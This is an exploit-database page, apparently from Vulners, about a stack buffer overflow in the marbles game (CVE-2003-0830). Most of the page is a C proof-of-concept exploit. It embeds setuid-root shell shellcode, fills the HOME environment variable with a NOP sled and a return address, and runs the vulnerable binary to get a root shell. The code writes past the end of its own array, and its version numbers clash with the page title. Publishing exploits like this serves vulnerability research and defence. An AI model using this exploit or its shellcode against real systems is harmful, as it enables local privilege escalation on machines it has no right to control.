marbles 1.0.1 - Local Home Environment Variable Buffer Overflow
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CAN-2003-0830 | 6 Aug 202410:24 | – | cve | |
| CVE-2003-0830 | 1 Oct 200304:00 | – | cve | |
| CVE-2003-0830 | 1 Oct 200304:00 | – | cvelist | |
| [SECURITY] [DSA-390-1] New marbles packages fix buffer overflow | 26 Sep 200305:05 | – | debian | |
| Debian DSA-390-1 : marbles - buffer overflow | 29 Sep 200400:00 | – | nessus | |
| EUVD-2003-0821 | 7 Oct 202500:30 | – | euvd | |
| CVE-2003-0830 | 17 Nov 200305:00 | – | nvd | |
| Debian: Security Advisory (DSA-390) | 17 Jan 200800:00 | – | openvas | |
| Debian Security Advisory DSA 390-1 (marbles) | 17 Jan 200800:00 | – | openvas | |
| DSA-390 marbles - buffer overflow | 26 Sep 200300:00 | – | osv |
10
// source: https://www.securityfocus.com/bid/8710/info
A problem in the handling of data in the Home environment variable has been reported in the marbles program. This may make it possible for a local attacker to gain elevated privileges.
/* c-marbles.c
*
* PoC exploit made for advisory based uppon an local stack based overflow.
* Vulnerable versions, maybe also prior versions:
*
* Marbles v1.0.5
*
* Tested on: Redhat 9.0
*
* Advisory source: Steve Kemp
* http://www.debian.org/security/2003/dsa-390
*
* ---------------------------------------------
* coded by: demz (c-code.net) ([email protected])
* ---------------------------------------------
*
*/
#include <stdio.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0" // xor eax, eax
"\x31\xdb" // xor ebx, ebx
"\x31\xc9" // xor ecx, ecx
"\xb0\x46" // mov al, 70
"\xcd\x80" // int 0x80
"\x31\xc0" // xor eax, eax
"\x50" // push eax
"\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
"\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
"\x89\xe3" // mov ebx, esp
"\x50" // push eax
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x99" // cdq
"\xb0\x0b" // mov al, 11
"\xcd\x80" // int 0x80
"\x31\xc0" // xor eax, eax
"\xb0\x01" // mov al, 1
"\xcd\x80"; // int 0x80
int main()
{
unsigned long ret = 0xbffff70c;
char buffer[3988];
int i=0;
memset(buffer, 0x90, sizeof(buffer));
for (0; i < strlen(shellcode) - 1;i++)
buffer[2000 + i] = shellcode[i];
buffer[3988] = (ret & 0x000000ff);
buffer[3989] = (ret & 0x0000ff00) >> 8;
buffer[3990] = (ret & 0x00ff0000) >> 16;
buffer[3991] = (ret & 0xff000000) >> 24;
buffer[3992] = 0x0;
printf("\nMarbles v1.0.5 local exploit\n");
printf("---------------------------------------- demz @ c-code.net --\n");
setenv("HOME", buffer, 1);
execl("/usr/local/bin/marbles", "marbles", NULL);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Dec 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.00731